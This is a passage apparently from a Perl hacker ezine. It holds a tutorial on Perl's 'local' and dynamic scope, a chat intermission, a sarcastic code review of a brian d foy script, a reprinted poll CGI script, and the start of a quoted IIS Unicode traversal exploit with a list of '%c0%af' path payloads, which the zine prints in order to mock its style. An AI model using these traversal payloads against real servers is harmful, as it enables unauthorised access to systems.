2763Perl makes %GLOB mean the same as whatever hash the reference referred to, but the other parts stay
2764the same. Similarly for other kinds of references.
2765
2766You can use this for all sorts of wonderful tricks. For example, suppose you have a function that
2767is going to do a lot of operations on $_[0]{Time}[2] for some reason. You can say
2768
2769
2770 *arg = \$_[0]{Time}[2];
2771
2772and from then on, $arg is synonymous with $_[0]{Time}[2], which might make your code simpler, and
2773probably more efficient, because Perl won't have to go digging through three levels of indirection
2774every time. But you'd better use local, or else you'll permanently clobber any $arg variable that
2775already exists. (Gurusamy Sarathy's Alias module does this, but without the local.)
2776
2777You can create locally-scoped subroutines that are invisible outside a block by saying
2778
2779
2780 *mysub = sub { ... } ;
2781
2782and then call them with mysub(...). But you must use local, or else you'll permanently clobber any
2783mysub subroutine that already exists.
2784
27855. Dynamic Scope
2786
2787local introduces what is called dynamic scope, which means that the `local' variable that it
2788declares is inherited by other functions called from the one with the declaration. Usually this
2789isn't what you want, and it's rather a strange feature, unavailable in many programming languages.
2790To see the difference, consider this example:
2791
2792
2793 first();
2794
2795
2796 sub first {
2797 local $x = 1;
2798 my $y = 1;
2799 second();
2800 }
2801
2802
2803 sub second {
2804 print "x=", $x, "\n";
2805 print "y=", $y, "\n";
2806 }
2807
2808The variable $y is a true local variable. It's available only from the place that it's declared up
2809to the end of the enclosing block. In particular, it's unavailable inside of second(), which prints
2810"y=", not "y=1". This is is called lexical scope.
2811
2812local, in contrast, does not actually make a local variable. It creates a new `local' value for a
2813global variable, which persists until the end of the enclosing block. When control exits the block,
2814the old value is restored. But the variable, and its new `local' value, are still global, and hence
2815accessible to other subroutines that are called before the old value is restored. second() above
2816prints "x=1", because $x is a global variable that temporarily happens to have the value 1. Once
2817first() returns, the old value will be restored. This is called dynamic scope, which is a misnomer,
2818because it's not really scope at all.
2819
2820For `local' variables, you almost always want lexical scope, because it ensures that variables that
2821you declare in one subroutine can't be tampered with by other subroutines. But every once in a
2822strange while, you actually do want dynamic scope, and that's the time to get local out of your bag
2823of tricks.
2824
2825Here's the most useful example I could find, and one that really does bear careful study. We'll
2826make our own iteration syntax, in the same family as Perl's grep and map. Let's call it `listjoin';
2827it'll combine two lists into one:
2828
2829
2830 @list1 = (1,2,3,4,5);
2831 @list2 = (2,3,5,7,11);
2832 @result = listjoin { $a + $b } @list1, @list2;
2833
2834Now the @result is (3,5,8,11,16). Each element of the result is the sum of the corresponding terms
2835from @list1 and @list2. If we wanted differences instead of sums, we could have put { $a - $b }. In
2836general, we can supply any code fragment that does something with $a and $b, and listjoin will use
2837our code fragment to construct the elements in the result list.
2838
2839Here's a first cut at listjoin:
2840
2841
2842 sub listjoin (&\@\@) {
2843
2844Ooops! The first line already has a lot of magic. Let's stop here and sightsee a while before we go
2845on. The (&\@\@) is a prototype. In Perl, a prototype changes the way the function is parsed and the
2846way its arguments are passed.
2847
2848In (&\@\@), The & warns the Perl compiler to expect to see a brace-delimited block of code as
2849the first argument to this function, and tells Perl that it should pass listjoin a reference to
2850that block. The block behaves just like an anonymous function. The \@\@ says that listjoin should
2851get two other arguments, which must be arrays; Perl will pass listjoin references to these two
2852arrays. If any of the arguments are missing, or have the wrong type (a hash instead of an array,
2853for example) Perl will signal a compile-time error.
2854
2855The result of this little wad of punctuation is that we will be able to write
2856
2857
2858 listjoin { $a + $b } @list1, @list2;
2859
2860and Perl will behave as if we had written
2861
2862
2863 listjoin(sub { $a + $b }, \@list1, \@list2);
2864
2865instead. With the prototype, Perl knows enough to let us leave out the parentheses, the sub, the
2866first comma, and the slashes. Perl has too much punctuation already, so we should take advantage of
2867every opportunity to use less.
2868
2869Now that that's out of the way, the rest of listjoin is straightforward:
2870
2871
2872 sub listjoin (&\@\@) {
2873 my $code = shift; # Get the code block
2874 my $arr1 = shift; # Get reference to first array
2875 my $arr2 = shift; # Get reference to second array
2876 my @result;
2877 while (@$arr1 && @$arr2) {
2878 my $a = shift @$arr1; # Element from array 1 into $a
2879 my $b = shift @$arr2; # Element from array 2 into $b
2880 push @result, &$code(); # Execute code block and get result
2881 }
2882 return @result;
2883 }
2884
2885listjoin simply runs a loop over the elements in the two arrays, putting elements from each into $a
2886and $b, respectively, and then executing the code and pushing the result into @result. All very
2887simple and nice, except that it doesn't work: By declaring $a and $b with my, we've made them
2888lexical, and they're unavailable to the $code.
2889
2890Removing the my's from $a and $b makes it work:
2891
2892
2893 $a = shift @$arr1;
2894 $b = shift @$arr2;
2895
2896But this solution is boobytrapped. Without the my declaration, $a and $b are global variables, and
2897whatever values they had before we ran listjoin are lost now.
2898
2899The correct solution is to use local. This preserves the old values of the $a and $b variables, if
2900there were any, and restores them when listjoin() is finished. But because of dynamic scoping, the
2901values set by listjoin() are inherited by the code fragment. Here's the correct solution:
2902
2903
2904 sub listjoin (&\@\@) {
2905 my $code = shift;
2906 my $arr1 = shift;
2907 my $arr2 = shift;
2908 my @result;
2909 while (@$arr1 && @$arr2) {
2910 local $a = shift @$arr1;
2911 local $b = shift @$arr2;
2912 push @result, &$code();
2913 }
2914 return @result;
2915 }
2916
2917You might worry about another problem: Suppose you had strict 'vars' in force. Shouldn't listjoin {
2918$a + $b } be illegal? It should be, because $a and $b are global variables, and the purpose of
2919strict 'vars' is to forbid the use of unqualified global variables.
2920
2921But actually, there's no problem here, because strict 'vars' makes a special exception for $a and
2922$b. These two names, and no others, are exempt from strict 'vars', because if they weren't, sort
2923wouldn't work either, for exactly the same reason. We're taking advantage of that here by giving
2924listjoin the same kind of syntax. It's a peculiar and arbitrary exception, but one that we're happy
2925to take advantage of.
2926
2927Here's another example in the same vein:
2928
2929
2930 sub printhash (&\%) {
2931 my $code = shift;
2932 my $hash = shift;
2933 local ($k, $v);
2934 while (($k, $v) = each %$hash) {
2935 print &$code();
2936 }
2937 }
2938
2939Now you can say
2940
2941
2942 printhash { "$k => $v\n" } %capitals;
2943
2944and you'll get something like
2945
2946
2947 Athens => Greece
2948 Moscow => Russia
2949 Helsinki => Finland
2950
2951or you can say
2952
2953
2954 printhash { "$k," } %capitals;
2955
2956and you'll get
2957
2958
2959 Athens,Moscow,Helsinki,
2960
2961Note that because I used $k and $v here, you might get into trouble with strict 'vars'. You'll
2962either have to change the definition of printhash to use $a and $b instead, or you'll have to use
2963vars qw($k $v).
2964
29656. Dynamic Scope Revisited
2966
2967Here's another possible use for dynamic scope: You have some subroutine whose behavior depends on
2968the setting of a global variable. This is usually a result of bad design, and should be avoided
2969unless the variable is large and widely used. We'll suppose that this is the case, and that the
2970variable is called %CONFIG.
2971
2972You want to call the subroutine, but you want to change its behavior. Perhaps you want to trick it
2973about what the configuration really is, or perhaps you want to see what it would do if the
2974configuration were different, or you want to try out a fake configuration to see if it works. But
2975you don't want to change the real global configuration, because you don't know what bizarre effects
2976that will have on the rest of the program. So you do
2977
2978
2979 local %CONFIG = (new configuration here);
2980 the_subroutine();
2981
2982The changed %CONFIG is inherited by the subroutine, and the original configuration is restored
2983automatically when the declaration goes out of scope.
2984
2985Actually in this kind of circumstance you can sometimes do better. Here's how: Suppose that the
2986%CONFIG hash has lots and lots of members, but we only want to change $CONFIG{VERBOSITY}. The
2987obvious thing to do is something like this:
2988
2989
2990 my %new_config = %CONFIG; # Copy configuration
2991 $new_config{VERBOSITY} = 1000; # Change one member
2992 local %CONFIG = %new_config; # Copy changed back, temporarily
2993 the_subroutine(); # Subroutine inherits change
2994
2995But there's a better way:
2996
2997
2998 local $CONFIG{VERBOSITY} = 1000; # Temporary change to one member!
2999 the_subroutine();
3000
3001You can actually localize a single element of an array or a hash. It works just like localizing any
3002other scalar: The old value is saved, and restored at the end of the enclosing scope.
3003
3004Marginal Uses of Dynamic Scoping
3005
3006Like local filehandles, I kept finding examples of dynamic scoping that seemed to require local,
3007but on further reflection didn't. Lest you be tempted to make one of these mistakes, here they are.
3008
3009One application people sometimes have for dynamic scoping is like this: Suppose you have a
3010complicated subroutine that does a search of some sort and locates a bunch of items and returns a
3011list of them. If the search function is complicated enough, you might like to have it simply
3012deposit each item into a global array variable when its found, rather than returning the complete
3013list from the subroutine, especially if the search subroutine is recursive in a complicated way:
3014
3015
3016 sub search {
3017 # do something very complicated here
3018 if ($found) {
3019 push @solutions, $solution;
3020 }
3021 # do more complicated things
3022 }
3023
3024This is dangerous, because @solutions is a global variable, and you don't know who else might be
3025using it.
3026
3027In some languages, the best answer is to add a front-end to search that localizes the global
3028@solutions variable:
3029
3030
3031 sub search {
3032 local @solutions;
3033 realsearch(@_);
3034 return @solutions;
3035 }
3036
3037
3038 sub realsearch {
3039 # ... as before ...
3040 }
3041
3042Now the real work is done in realsearch, which still gets to store its solutions into the global
3043variable. But since the user of realsearch is calling the front-end search function, any old value
3044that @solutions might have had is saved beforehand and restored again afterwards.
3045
3046There are two other ways to accomplish the same thing, and both of them are better than this way.
3047Here's one:
3048
3049
3050 { my @solutions; # This is private, but available to both functions
3051 sub search {
3052 realsearch(@_);
3053 return @solutions;
3054 }
3055
3056
3057 sub realsearch {
3058 # ... just as before ...
3059 # but now it modifies a private variable instead of a global one.
3060 }
3061 }
3062
3063Here's the other:
3064
3065
3066 sub search {
3067 my @solutions;
3068 realsearch(\@solutions, @_);
3069 return @solutions;
3070 }
3071
3072
3073 sub realsearch {
3074 my $solutions_ref = shift;
3075 # do something very complicated here
3076 if ($found) {
3077 push @$solutions_ref, $solution;
3078 }
3079 # do more complicated things
3080 }
3081
3082One or the other of these strategies will solve most problems where you might think you would want
3083to use a dynamic variable. They're both safer than the solution with local because you don't have
3084to worry that the global variable will `leak' out into the subroutines called by realsearch.
3085
3086One final example of a marginal use of local: I can imagine an error-handling routine that examines
3087the value of some global error message variable such as $! or $DBI::errstr to decide what to do. If
3088this routine seems to have a more general utility, you might want to call it even when there wasn't
3089an error, because you want to invoke its cleanup behavor, or you like the way it issues the error
3090message, or whatever. It should accept the message as an argument instead of examining some fixed
3091global variable, but it was badly designed and now you can't change it. If you're in this kind of
3092situation, the best solution might turn out to be something like this:
3093
3094
3095 local $DBI::errstr = "Your shoelace is untied!";
3096 handle_error();
3097
3098Probably a better solution is to find the person responsible for the routine and to sternly remind
3099them that functions are more flexible and easier to reuse if they don't depend on hardwired global
3100variables. But sometimes time is short and you have to do what you can.
3101
31027. Perl 4 and Other Relics
3103
3104A lot of the useful uses for local became obsolete with Perl 5; local was much more useful in Perl
31054. The most important of these was that my wasn't available, so you needed local for private
3106variables.
3107
3108If you find yourself programming in Perl 4, expect to use a lot of local. my hadn't been invented
3109yet, so we had to do the best we could with what we had.
3110
3111Summary
3112
3113Useful uses for local fall into two classes: First, places where you would like to use my, but you
3114can't because of some restriction, and second, rare, peculiar or contrived situations.
3115
3116For the vast majority of cases, you should use my, and avoid local whenever possible. In
3117particular, when you want private variables, use my, because local variables aren't private.
3118
3119Even the useful uses for local are mostly not very useful.
3120
3121Revised rule of when to use my and when to use local:
3122(Beginners and intermediate programmers.) Always use my; never use local unless you get an error
3123when you try to use my.
3124
3125(Experts only.) Experts don't need me to tell them what the real rules are.
3126
3127-[0x0F] # Intermission ---------------------------------------------------
3128
3129<Hobbes> brian d foy?
3130<Hobbes> are you fuckin kiddin me?
3131<Hobbes> do you know what that means
3132<Kant> that I've vastly expanded our realm of attack?
3133<Kant> that I've ruined any and all remaining opportunity for support from the mainstream perl community?
3134<Kant> that I've continued on our path of suicidal aggravation?
3135<Hobbes> um yah no shit
3136<Hobbes> thats not good
3137<Socrates> Sure it is. That is what we are here for, after all.
3138<Kant> :]
3139<Hobbes> youre insane
3140<Hobbes> both of you
3141<Kant> no YOU'RE insane
3142<Kant> the rest of us are perfectly fine with the situation
3143<Socrates> Actually, I think you should write this one, Hobbes.
3144<Hobbes> :(
3145
3146-[0x10] # Part Two: Back to School ---------------------------------------
3147
3148Are you excited? Time for some of us to go back to schooling, and for some
3149others to go back to getting schooled. It is publication season again. Other
3150ezines such as h0no, hackthiszine, and Zero for 0wned have set the pace. It
3151is time to be serious. It is time to hit the books. Time to crack some
3152skulls.
3153
3154-[0x11] # brian d fucking foy --------------------------------------------
3155
3156brian d foy, the man, the legend. He's a teacher, a leader, and an icon. He's the right hand man in
3157Stonehenge. The man has authored Perl books and the Perl Review, and has contributed many modules
3158to CPAN. He's everywhere. We all know his name.
3159
3160For our School You sections of positive literature we tend to select articles or items of code that
3161impress us, or interest us, or just leave a smile on our face. For this issue we deliberately went
3162looking for some random brian d foy code, as we did for many others who had so far been excluded.
3163We were shocked that instead of brilliance, we came across this. We really were trying to be good,
3164happy, brian d foy fans.
3165
3166There was a small issue as to whether or not we could pursue this. The code isn't bad, but it has
3167weaknesses and shows a clear lack of attention. The same ethics that made us attack the elite and
3168famous for their shit code makes us obligated to strike here, where the Perl should be impeccable.
3169This critique is still very soft. brian d foy doesn't need to justify his sometimes odd or archaic
3170design and/or syntax methods. The release isn't bad either, because it is a script I'm sure some
3171found useful, and is essentially modest.
3172
3173#!/usr/bin/perl
3174
3175# no strict? no warnings?
3176
3177open my( $pipe ), "du -a |";
3178
3179my $files = Local::lines->new;
3180
3181while( <$pipe> )
3182 {
3183 chomp;
3184 my( $size, $file ) = split /\s+/, $_, 2;
3185 next if -d $file;
3186 next if $file eq ".";
3187 $files->add( $size, "$file" ); # must you make me cry?
3188 # how could you quote that?
3189 # brian d foy, what were you on?
3190 }
3191
3192package Local::lines;
3193
3194use Curses;
3195use vars qw($win %rindex);
3196
3197use constant MAX => 24;
3198use constant SIZE => 0;
3199use constant NAME => 1;
3200use Data::Dumper qw(Dumper);
3201
3202# A lot of this code makes me question just how old it is
3203# It isn't old, these are just, shall we say, "historical", choices.
3204# Although I will ask, why the hell is this file structured as it is?
3205
3206sub new
3207 {
3208 my $self = bless [], __PACKAGE__;
3209
3210 $self->init();
3211
3212 return $self;
3213 # why the vocal return here only?
3214 }
3215
3216sub init
3217 {
3218 my $self = shift;
3219
3220 initscr;
3221 $win = Curses->new;
3222
3223 for( my $i = MAX; $i >= 0; $i-- )
3224 {
3225 $self->size( $i, undef );
3226 $self->name( $i, '' );
3227 }
3228
3229 }
3230
3231sub DESTROY { endwin; }
3232
3233sub add
3234 {
3235 my $self = shift;
3236
3237 my( $size, $name ) = @_;
3238
3239 # add new entries at the end
3240 if( $size > $self->size( MAX ) )
3241 {
3242 $self->last( $size, $name );
3243 $self->sort;
3244 }
3245
3246 $self->draw();
3247 }
3248
3249sub sort
3250 {
3251 my $self = shift;
3252 no warnings;
3253 # do what you have to do
3254 $self->elements(
3255 sort { $b->[SIZE] <=> $a->[SIZE] } $self->elements
3256 );
3257
3258 %rindex = map { $self->name( $_ ), $_ } 0 .. MAX - 1;
3259 # quite the choppy solution, a global, despite the solid OO design
3260 }
3261
3262sub elements
3263 {
3264 my $self = shift;
3265
3266 if( @_ ) { @$self = @_ }
3267
3268 @$self;
3269 # The long overly cautious road.
3270 }
3271
3272sub size
3273 {
3274 my $self = shift;
3275 my $index = shift || -1;
3276
3277 if( @_ ) { $self->[$index][SIZE] = shift }
3278
3279 $self->[$index][SIZE] || 0;
3280 # If you must
3281 }
3282
3283sub name
3284 {
3285 my $self = shift;
3286 my $index = shift || -1;
3287
3288 if( @_ ) { $self->[$index][NAME] = shift }
3289
3290 $self->[$index][NAME] || '';
3291 }
3292
3293sub last
3294 {
3295 my $self = shift;
3296
3297 if( @_ )
3298 {
3299 $self->size( -1, shift );
3300 $self->name( -1, shift || '' );
3301 }
3302
3303 ( $self->size( -1 ), $self->name( -1 ) );
3304 }
3305
3306sub draw
3307 {
3308 my $self = shift;
3309
3310 for( my $i = 0; $i < MAX; $i++ )
3311 # no Perl style for-loop?
3312 {
3313 next if $self->size( $i ) == 0 or $self->name( $i ) eq '';
3314
3315 $win->addstr( $i, 1, " " x $Curses::COLS );
3316 $win->addstr( $i, 1, sprintf( "%8d", $self->[$i][SIZE] || '' ) );
3317 $win->addstr( $i, 10, $self->name( $i ) );
3318 $win->refresh;
3319 }
3320
3321 }
3322
3323There. Its over. It hurt us more than you! Hardly a rubbing at all.
3324Softest writeup yet.
3325
3326-[0x12] # School You: davido ---------------------------------------------
3327
3328#!/usr/local/bin/perl -T
3329
3330# poll.cgi: Creates an HTML form containing a web poll (or
3331# questionaire).
3332
3333
3334use strict;
3335use warnings;
3336use CGI::Pretty;
3337use CGI::Carp qw( fatalsToBrowser );
3338
3339# ------------------ Begin block ------------------------------------
3340# This script uses the BEGIN block as a means of providing CGI::Carp
3341# with an alternate error handler that sends fatal errors to the
3342# browser instead of the server log.
3343
3344BEGIN {
3345 sub carp_error {
3346 my $error_message = shift;
3347 my $cq = new CGI;
3348 print $cq->start_html( "Error" ),
3349 $cq->h1("Error"),
3350 $cq->p( "Sorry, the following error has occurred: " ),
3351 $cq->p( $cq->i( $error_message ) ),
3352 $cq->end_html;
3353 }
3354 CGI::Carp::set_message( \&carp_error );
3355}
3356
3357# ----------------- Script Configuration Variables ------------------
3358
3359# Script's name.
3360my $script = "poll.cgi";
3361
3362# Poll Question filehandle.
3363# Questions will be read from <DATA>. Unset $question_fh if
3364# you wish to read from an alternate question file.
3365my $question_fh = \*DATA;
3366
3367# Poll Question File path/filename.
3368# Set $question_file to the path of alternate question file.
3369# Empty string means read from <DATA> instead of an external file.
3370my $question_file = "";
3371
3372# Set path to poll tally file. File must be readable/writable by all.
3373# For an added degree of obfuscated security ensure that the file's
3374# directory is not readable or writable by the outside world.
3375my $poll_data_path = "../polldata/poll.dat";
3376
3377# Administrative User ID and Password. This is NOT robust.
3378# It prevents casual snoopers from seeing results of poll.
3379my $adminpass = "Guest";
3380my $userid = "Guest";
3381
3382# -------------------- File - scoped variables ----------------------
3383
3384# Create the CGI object:
3385my $q = new CGI;
3386
3387
3388# -------------------- Main Block -----------------------------------
3389
3390MAIN_SWITCH: {
3391 my $poll_title;
3392 # If the parameter list from the server is empty, we know
3393 # that we need to output the HTML for the poll.
3394 !$q->param() && do {
3395 $poll_title = print_poll( $question_fh,
3396 $question_file,
3397 $script,
3398 $q );
3399 last MAIN_SWITCH;
3400 };
3401 # If the user hit the "Enter" submit button, having supplied a
3402 # User ID and Password, he wants to see the poll's tally page.
3403 defined $q->param('Enter') && do {
3404 if ( $q->param("Adminpass") eq $adminpass and
3405 $q->param("Userid" ) eq $userid ) {
3406 my $results = get_results ( $poll_data_path );
3407 print_results( $question_fh,
3408 $question_file,
3409 $results,
3410 $q );
3411 } else {
3412 action_status("NO_ADMIN", $poll_title, $q);
3413 }
3414 last MAIN_SWITCH;
3415 };
3416 # If the user hit the "Submit" submit button, having answered
3417 # all of the poll's questions, he wants to submit the poll.
3418 defined $q->param('Submit') && do {
3419 if ( verify_submission( $q ) ) {
3420 write_entry( $poll_data_path, $q );
3421 action_status("THANKS", $poll_title, $q);
3422 } else {
3423 $q->delete_all;
3424 action_status("INCOMPLETE", $poll_title, $q);
3425 }
3426 last MAIN_SWITCH;
3427 };
3428 # If we fall to this point it means we don't know *what* the
3429 # user is trying to do (probably supplying his own parameters!
3430 action_status("UNRECOGNIZED", $poll_title, $q);
3431}
3432$q->delete_all; # Clear parameter list as a last step.
3433# We're done! Go home!
3434
3435# -------------------- End Main Block -------------------------------
3436
3437# -------------------- The workhorses (subs) ------------------------
3438
3439# Verify the poll submission is complete.
3440# Pass in the CGI object. Returns 1 if submission is complete.
3441# Returns zero if submission is incomplete.
3442
3443sub verify_submission {
3444 my $q = shift;
3445 my $params = $q->Vars;
3446 my $ok = 1;
3447 foreach my $val ( values %$params ) {
3448 if ( $val eq "Unanswered" ) {
3449 $ok = 0;
3450 last;
3451 }
3452 }
3453 return $ok;
3454}
3455
3456
3457# Write the entry to our tally-file. Entry consists of a series of
3458# sets. A set is a question ID followed by its answer token.
3459# Pass in the path to the tally file and the CGI object.
3460# Thanks tye for describing how an append write occurs as an
3461# atomic entity, thus negating the need for flock if entire record
3462# can be output at once (at least that's what I think you told me).
3463
3464sub write_entry {
3465 my ( $outfile, $q ) = @_;
3466 my $output="";
3467 my %input = map { $_ => $q->param($_) } $q->param;
3468 foreach (keys %input) {
3469 $output .= "$_, $input{$_}\n" if defined $input{$_};
3470 }
3471 open POLLOUT, ">>$outfile"
3472 or die "Can't write to tracking file\n$!";
3473 print POLLOUT $output;
3474 close POLLOUT or die "Can't close tracking file\n$!";
3475}
3476
3477
3478# Read and tabulate results of poll entries from the data file.
3479# Results are tabulated by adding up the number of times each
3480# answer token appears, for each question.
3481# Pass in filename. Returns a reference to a hash of hashes
3482# that looks like $hash{question_id}{answer_id}=total_votes.
3483
3484sub get_results {
3485 my $datafile = shift;
3486 my %tally;
3487 open POLLIN, "<$datafile"
3488 or die "Can't read tracking file.\n$!";
3489 while (my $response = <POLLIN> ) {
3490 chomp $response;
3491 my ( $question, $answer ) = split /,\s*/, $response;
3492 $tally{$question}{$answer}++;
3493 }
3494 close POLLIN;
3495 return \%tally;
3496}
3497
3498
3499# Output a results page to the browser. Reads the original
3500# question file (or DATA) to properly associate the text of the
3501# questions and answers with the tags stored in the tally hash.
3502# Pass in the q-file filehandle, the q-file name (blank if <DATA>),
3503# the reference to the tally-hash, and the CGI object.
3504
3505sub print_results {
3506 my ( $fh, $qfile, $tally, $q ) = @_;
3507 if ( $qfile ) {
3508 $fh = undef;
3509 open $fh, "<".$qfile or die "Can't open $qfile.\n$!";
3510 }
3511 my $script_url = $q->url( -relative => 1 );
3512 my $title = <$fh>;
3513 chomp $title;
3514 $title .= "Results";
3515 print $q->header( "text/html" ),
3516 $q->start_html( $title ),
3517 $q->h1( $title ),
3518 $q->p;
3519 while ( my $qset = get_question( $fh ) ) {
3520 print "Question: $qset->{id}: $qset->{question}:<br><ul>";
3521 foreach my $aset ( @{$qset->{'answers'}} ) {
3522 if ( exists $tally->{$qset->{id}}{$aset->{token}} ) {
3523 print "<li>$aset->{text}: ",
3524 "$tally->{$qset->{id}}{$aset->{token}}.";
3525 }
3526 }
3527 print "</ul><p>"
3528 }
3529 if ( $qfile ) {
3530 close $fh or die "Can't close $qfile.\n$!";
3531 }
3532 print $q->hr,
3533 $q->p( "Total Respondents: ",
3534 "$tally->{'Submit'}{'Submit'}." ),
3535 $q->hr,
3536 $q->p( "<a href=$script_url>Return to poll</a>"),
3537 $q->end_html;
3538}
3539
3540
3541# Outputs the HTML for the poll.
3542# Pass in the filehandle to the poll's question file,
3543# its filename (empty string if <DATA>), script name,
3544# and CGI object.
3545
3546sub print_poll {
3547 my ( $fh, $infile, $scriptname, $q ) = @_;
3548 if ( $infile ) {
3549 $fh = undef;
3550 open $fh, "<".$infile or die "Can't open $infile.\n$!";
3551 }
3552 my $polltitle = <$fh>;
3553 chomp $polltitle;
3554 print $q->header( "text/html" ),
3555 $q->start_html( -title => $polltitle),
3556 $q->h1( $polltitle ),
3557 $q->br,
3558 $q->hr,
3559 $q->start_form( -method => "post",
3560 -action => $scriptname );
3561 while ( my $qset = get_question( $fh ) ) {
3562 my ( %labels, @vals );
3563 foreach ( @{$qset->{'answers'}} ) {
3564 push @vals, $_->{'token'};
3565 $labels{ $_->{'token'} } = $_->{'text'};
3566 }
3567 push @vals, "Unanswered";
3568 $labels{'Unanswered'} = "No Response";
3569 print $q->p( $q->h3( $qset->{'question'} ) ),
3570 $q->radio_group(
3571 -name => $qset->{'id'},
3572 -default => "Unanswered",
3573 -values => \@vals,
3574 -labels => \%labels,
3575 -linebreak => "true" );
3576 }
3577 print $q->p, $q->p,
3578 $q->submit( -name => "Submit" ),
3579 $q->reset,
3580 $q->endform,
3581 $q->br,
3582 $q->p,
3583 $q->p,
3584 $q->hr,
3585 $q->start_form( -method => "post",
3586 -action => $scriptname ),,
3587 $q->p($q->h3("Administrative use only.") ),
3588 $q->p( "ID: ",
3589 $q->textfield( -name =>"Userid",
3590 -size => 25,
3591 -maxlength => 25 ),
3592 "Password: ",
3593 $q->password_field( -name => "Adminpass" ),
3594 $q->submit( -name => "Enter" ) ),
3595 $q->endform,
3596 $q->end_html;
3597 if ( $infile ) {
3598 close $fh or die "Can't close $infile.\n$!";
3599 }
3600 return $polltitle;
3601}
3602
3603
3604# Outputs an HTML status page based on the action requested.
3605# This routine is used to thank the user for taking the poll, or
3606# to blurt out user-caused warnings.
3607# Pass in the action type, poll title, and the CGI object.
3608
3609sub action_status {
3610 my ( $action, $title, $q ) = @_;
3611 print $q->header( "text/html" ),
3612 $q->start_html( -title => $title." Status" ),
3613 $q->h1( $title." Status" ),
3614 $q->hr;
3615 my ( $headline, @text, $script_url );
3616 $script_url = $q->url( -relative => 1 );
3617 RED_SWITCH: {
3618 $action eq 'NO_ADMIN' && do {
3619 $headline = "Access Denied";
3620 @text = ( "This section is for administrative ",
3621 "use only.<p>",
3622 "<a href = $script_url>Return to poll.</a>" );
3623 last RED_SWITCH;
3624 };
3625 $action eq 'THANKS' && do {
3626 $headline = "Thanks for taking the poll.<p>";
3627 @text = ( "" );
3628 last RED_SWITCH;
3629 };
3630 $action eq 'INCOMPLETE' && do {
3631 $headline = "Error: You must answer all poll questions.";
3632 @text = ( "Please complete poll, and submit again.<p>",
3633 "<a href = $script_url>Return to poll.</a>" );
3634 last RED_SWITCH;
3635 };
3636 $action eq 'UNRECOGNIZED' && do {
3637 $headline = "Error: Unrecognized form data.";
3638 @text = ( "" );
3639 last RED_SWITCH;
3640 };
3641 }
3642 print $q->h3( $headline ),
3643 $q->p( @text ),
3644 $q->end_html;
3645}
3646
3647
3648# Gets a single question and its accompanying answer set from
3649# the filehandle passed to it.
3650# Returns a structure containing a single Q/A set. A poll will
3651# generally consist of a number of Q/A sets, so this function
3652# is usually called repeatedly to build up the poll.
3653
3654sub get_question {
3655 my $fh = shift;
3656 my ( $question_id, $question, @answers, %set );
3657 GQ_READ: while ( my $line = <$fh> ) {
3658 chomp $line;
3659 GQ_SWITCH: {
3660 $line eq "" && do { next GQ_READ }; # Ignore blank.
3661 $line =~ /^#/ && do { next GQ_READ }; # Ignore comments.
3662 $line =~ /^Q/ && do { # Bring in a question.
3663 die "Multiple questions\n"
3664 if $question_id or $question;
3665 ( $question_id, $question ) = $line =~
3666 /^Q(\d+):\s*(.+?)\s*$/;
3667 last GQ_SWITCH;
3668 };
3669 $line =~ /^A/ && do { # Bring in an answer.
3670 my ( $token, $text ) = $line =~
3671 /^A:\s*(\S+)\s*(.+?)\s*$/;
3672 die "Bad answer.\n" unless $token and $text;
3673 push @answers, {( 'token' =>$token,
3674 'text'=>$text )};
3675 last GQ_SWITCH;
3676 };
3677 $line =~ /^E/ && do { # End input, assemble structure.
3678 die "Set missing components.\n"
3679 unless $question and @answers;
3680 $set{'id'} = $question_id;
3681 $set{'question'} = $question;
3682 $set{'answers'} = \@answers;
3683 last GQ_SWITCH;
3684 };
3685 }
3686 return \%set if %set;
3687 }
3688 return 0; # This is how we signal nothing more to get.
3689}
3690
3691
3692# -------------------- <DATA> based poll ----------------------------
3693
3694# First line of DATA section should be the Poll title.
3695
3696__DATA__
3697Dave's Poll
3698
3699# Format: Comments allowed if line begins with #.
3700# Blank lines allowed.
3701# Data lines must begin with a tag: Qn:, A:, or E.
3702# Any amount of whitespace separates answer tokens from text.
3703# Other whitespace is not significant.
3704# Complete sets must be Qn, A:, A:...., E.
3705# If you choose to use an external question file, comment out
3706# but retain as an example at least one question from below.
3707
3708Q1: Does the poll appear to work?
3709A: ++++ Big Success!
3710A: +++ Moderate Success!
3711A: ++ Decent Success!
3712A: + Success!
3713A: - Minor Unsuccess.
3714A: -- Some Unsuccess.
3715A: --- Moderate Unsuccess.
3716A: ---- Monumental Disaster!
3717E
3718
3719Q2: Did you find serious issues?
3720A: !! Yes, serious!
3721A: ! Yes, minor.
3722A: * Mostly no.
3723A: ** Perfect!
3724E
3725
3726Q3: Regarding this poll:
3727A: +++ You could take it over and over again all day!
3728A: ++ Kinda nifty.
3729A: + Not bad.
3730A: - Yawn...
3731A: -- Zzzzzzz....
3732A: --- Arghhhhh, get this off my computer!
3733E
3734
3735Q4: You spend too much time on the computer.
3736A: T True.
3737A: F False.
3738A: H Huh?
3739E
3740
3741Q5: You're sick of answering questions.
3742A: ++ Definately.
3743A: + Somewhat.
3744A: - Bring them on!
3745E
3746
3747-[0x13] # AntiSec AntiPerl -----------------------------------------------
3748
3749#!/usr/bin/perl
3750#
3751# exploit for the windows IIS unicode hole
3752# this perl script makes the thinks nicer
3753#
3754# written by newroot
3755#
3756# greetz to mcb, nopfish, merith
3757# and the whole antisec.de team
3758#
3759# http://www.antisec.de
3760#
3761
3762use Getopt::Std;
3763use IO::Socket;
3764use IO::Select;
3765
3766#1 == white
3767
3768my @unis=(
3769 "/scripts/..%c0%af..",
3770 "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
3771 "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
3772 "/msadc/..%c0%af../..%c0%af../..%c0%af..",
3773 "/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
3774 "/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
3775 "/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
3776 "/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.."
3777 );
3778# qw that shit, biatch
3779
3780sub ussage () {
3781 print "\033[1mremote ISS unicode exploit\033[0m\r\n";
3782 print "\033[0mwritten by newroot\033[0m\r\n\n";
3783 print "Usage doublepimp.pl [options] <target> <command>\n";
3784 print "\t\t-p <port>\toptional port number if not 80\n";
3785 print "\t\t-d <altanative directory>\tuse this path instance of /winnt/system32\n";
3786 print "\t\t-v\t\t\tverbose output\n";
3787 exit 0;
3788}
3789# I believe its spelt 'usage', and that's some ugly quoting
3790
3791sub connect_host () {
3792 my $host = shift;
3793 my $port = shift;
3794
